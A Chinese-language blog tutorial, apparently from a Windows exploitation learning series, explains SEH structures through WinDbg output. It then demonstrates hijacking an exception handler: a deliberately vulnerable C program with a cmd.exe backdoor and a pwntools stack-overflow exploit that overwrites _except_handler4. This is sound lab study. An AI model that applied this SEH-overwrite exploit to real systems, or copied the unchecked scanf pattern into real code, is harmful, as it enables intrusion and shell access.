这篇开始学习SEH
之前的文章链接:
win pwn初探(四) 什么是SEH 结构化异常处理(Structured Exception Handling,简称 SEH)是一种Windows 操作系统对错误或异常提供的处理技术,用于处理异常事件的程序控制结构
通俗易懂的来说就是__try,__except,__finally
这些东西
SEH里面长什么样子 这个也困惑了我很长时间,网上的文献大部分都是直接讲的里面的结构体,不知道在程序里如果表现,如何通过调试去看这个SEH
用下面的程序来调试,记得关掉SAFESEH
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 #define _CRT_SECURE_NO_WARNINGS #include <stdio.h> #include <windows.h> #include <stdlib.h> void backdoor () { system("cmd.exe" ); } int main (int argc, char **argv) { setbuf(stdin , 0 ); setbuf(stdout , 0 ); int x = 100 ; int y = 0 ; int z; char tmp[0x20 ]; _try { printf ("0x%p\n" , backdoor); scanf ("%s" , tmp); z = x / y; } _except (1 ) { printf ("seh" ); } return 0 ; }
z = x / y;
这里是除数是0引起的异常,所以正常运行之后还会输出seh
1 2 3 4 5 6 7 8 9 10 11 12 13 .text:004119B 0 .text:004119B 0 ; __unwind { .text:004119B 0 55 push ebp .text:004119B 1 8B EC mov ebp, esp .text:004119B 3 6 A FE push 0F FFFFFFEh .text:004119B 5 68 C8 91 41 00 push offset stru_4191C8 .text:004119B A 68 80 1F 41 00 push offset __except_handler4 .text:004119B F 64 A1 00 00 00 00 mov eax, large fs:0 .text:004119 C5 50 push eax .text:004119 C6 81 C4 E8 FE FF FF add esp, 0F FFFFEE8h .text:004119 CC 53 push ebx .text:004119 CD 56 push esi .text:004119 CE 57 push edi
通过ida打开发现push offset __except_handler4
,这个是将处理结构异常函数的地址入栈
用windbg打开此程序进行调试,在程序头下个断点
1 2 3 4 5 6 7 test!main: 001419b 0 55 push ebp001419b 1 8b ec mov ebp, esp001419b 3 6 afe push 0F FFFFFFEh001419b 5 68 c8911400 push 1491 C8h001419b a 68801f 1400 push 141F 80h001419b f 64 a100000000 mov eax, dword ptr fs:[00000000 h]
然后dt去查看0x141F80这个定义
1 2 3 4 5 6 7 0 :000 > dt 0x141F80 _except_handler4 _EXCEPTION_DISPOSITION test!_except_handler4+0 ( _EXCEPTION_RECORD*, _EXCEPTION_REGISTRATION_RECORD*, _CONTEXT*, void *)
可以看到会接收4个参数输入,并且该异常处理函数由系统调用,是一个回调函数,看第一个参数
1 2 3 4 5 6 7 8 0 :000 > dt _EXCEPTION_RECORDtest!_EXCEPTION_RECORD +0x000 ExceptionCode : Uint4B +0x004 ExceptionFlags : Uint4B +0x008 ExceptionRecord : Ptr32 _EXCEPTION_RECORD +0x00c ExceptionAddress : Ptr32 Void +0x010 NumberParameters : Uint4B +0x014 ExceptionInformation : [15 ] Uint4B
重要的就两个ExceptionCode
指出异常类型、ExceptionFlags
表示发生异常的代码地址,接着看第二个参数
1 2 3 4 0 :000 > dt _EXCEPTION_REGISTRATION_RECORDtest!_EXCEPTION_REGISTRATION_RECORD +0x000 Next : Ptr32 _EXCEPTION_REGISTRATION_RECORD +0x004 Handler : Ptr32 _EXCEPTION_DISPOSITION
该结构体主要用于描述线程异常处理句柄的地址,Next
指向下一个结构的指针,Handler
当前异常处理回调函数的地址,看一下非常经典的图
TIB第一个字段就保存了SEH链表的头部指针,SEH链表中其他的节点存储在栈中,如果Next的成员的值为0xFFFFFFFF则表示在最后一个结点,当发生异常会按照顺序依次传递,直到有异常处理器处理
接着看一下第三个参数_CONTEXT
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 0 :000 > dt _CONTEXTtest!_CONTEXT +0x000 ContextFlags : Uint4B +0x004 Dr0 : Uint4B +0x008 Dr1 : Uint4B +0x00c Dr2 : Uint4B +0x010 Dr3 : Uint4B +0x014 Dr6 : Uint4B +0x018 Dr7 : Uint4B +0x01c FloatSave : _FLOATING_SAVE_AREA +0x08c SegGs : Uint4B +0x090 SegFs : Uint4B +0x094 SegEs : Uint4B +0x098 SegDs : Uint4B +0x09c Edi : Uint4B +0x0a0 Esi : Uint4B +0x0a4 Ebx : Uint4B +0x0a8 Edx : Uint4B +0x0ac Ecx : Uint4B +0x0b0 Eax : Uint4B +0x0b4 Ebp : Uint4B +0x0b8 Eip : Uint4B +0x0bc SegCs : Uint4B +0x0c0 EFlags : Uint4B +0x0c4 Esp : Uint4B +0x0c8 SegSs : Uint4B +0x0cc ExtendedRegisters : [512 ] UChar
这个结构体是用来备份CPU奇存器的值,因为多线程环境下需要这样做。每个线程内部都拥有1个CONTEXT结构体。CPU暂时离开当前线程去运行其他线程时,CPU寄存器的值就会保存到当前线程的CONTEXT结构体;CPU再次运行该线程时,会使用保存在CONTEXT结构体的值来覆盖CPU奇存器的值,然后从之前暂停的代码处继续执行。通过这种方式 ,OS可以在多线程环境下安全运行各线程
在经典图那里有没有发现发生异常之后有一个TIB,那么TIB又是什么呢
TIB
(Thread Information Block
,线程信息块)是保存线程基本信息的数据结构,它存在于x86
的机器上,它也被称为是Win32
的TEB
(Thread Environment Block
,线程环境块)。TIB/TEB
是操作系统为了保存每个线程的私有数据创建的,每个线程都有自己的TIB/TEB
1 2 3 4 5 6 7 8 9 10 0 :000 > dt _NT_TIBtest!_NT_TIB +0x000 ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD +0x004 StackBase : Ptr32 Void +0x008 StackLimit : Ptr32 Void +0x00c SubSystemTib : Ptr32 Void +0x010 FiberData : Ptr32 Void +0x010 Version : Uint4B +0x014 ArbitraryUserPointer : Ptr32 Void +0x018 Self : Ptr32 _NT_TIB
第一个就是指向当前线程的SEH,StackBase和StackLimit
分别指向当前线程所使用的栈的栈底和栈顶,SubSystemTib
是子系统,Self
指向自己
如何通过SEH来控制程序 现在知识了SEH长什么样子了,但是如何通过SEH来攻击程序呢
可以通过攻击程序的异常处理,想办法触发一个异常,程序就会转入异常处理,如果异常处理函数指针被我们覆盖,那么我们就可以通过劫持 SEH 来控制程序的后续流程
也就是去覆盖上面的_except_handler4
,如果把_except_handler4
给覆盖成backdoor
,在异常处理的时候就会去执行backdoor
,现在还有一个问题那就是_except_handler4
在栈上的哪个地方
1 2 3 4 5 6 7 8 9 0 :000 > dc 0x010ffc64 - 0x64 010f fc00 77b 45f8b 77 cfac49 010f fc10 00000000 ._.wI..w........010f fc10 00000000 010f fc2c 51802922 1b 406328 ....,...").Q(c@. 010ffc20 010ffc30 5179bff5 00000000 010ffc3c 0.....yQ....<... 010ffc30 010ffc40 517bffc6 00000000 00000000 @.....{Q........ 010ffc40 010ffc4c 517c02be 518e3074 010ffc60 L.....|Qt0.Q`... 010ffc50 517ffbd2 010ffcd0 00141f80 001491c8 ...Q............ 010ffc60 fffffffe 010ffc84 00142403 00000001 .........$...... 010ffc70 012c4d88 012c9510 00000001 012c4d88 .M,...,......M,.
还是上面那个程序0x010ffc64
是ebp,0x141F80
是_except_handler4
,可以看到在ebp - 0xc
的地方是_except_handler4
,刚好这个程序里有一个栈溢出,所以我们可以控制handler,程序开了GS保护但是没有用,因为先跑去处理异常了
所以现在写exp来验证一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *from time import sleepcontext.log_level = 'debug' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) r = remote('192.168.10.106' , 1234 ) r.recvuntil('0x' ) backdoor_addr = int (r.recv(8 ), 16 ) li('backdoor_addr = ' + hex (backdoor_addr)) p1 = b'a' * (0x64 - 0xc ) + p32(backdoor_addr) r.sendline(p1) r.interactive()
弹了一个内存损坏的错误,点重试才可以利用成功,所以思考了一下内存损坏的错误也是在异常里,验证一下,把除0数学错误给去掉
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #define _CRT_SECURE_NO_WARNINGS #include <stdio.h> #include <windows.h> #include <stdlib.h> void backdoor () { system("cmd.exe" ); } int main (int argc, char **argv) { setbuf(stdin , 0 ); setbuf(stdout , 0 ); int x = 100 ; int y = 0 ; int z; char tmp[0x20 ]; _try { printf ("0x%p\n" , backdoor); scanf ("%s" , tmp); } _except (1 ) { printf ("seh" ); } return 0 ; }
最后依旧成功利用,所以以后控制SEH之后可以直接引发一些异常即可
总结 这里主要学习了SEH,如何去控制SEH来达到劫持程序流的目的,攻击SEH是当年最流行的手法,所以window也发布了对应的加固手法,SAFESEH和SEHOP,后面将会学习SEHOP和SAFESEH的利用
Reference 逆向工程核心原理
https://blog.csdn.net/azraelxuemo/article/details/122873073
https://codeantenna.com/a/wBulZH0YEb
https://a1ex.online/2020/10/15/Windows-Pwn%E5%AD%A6%E4%B9%A0/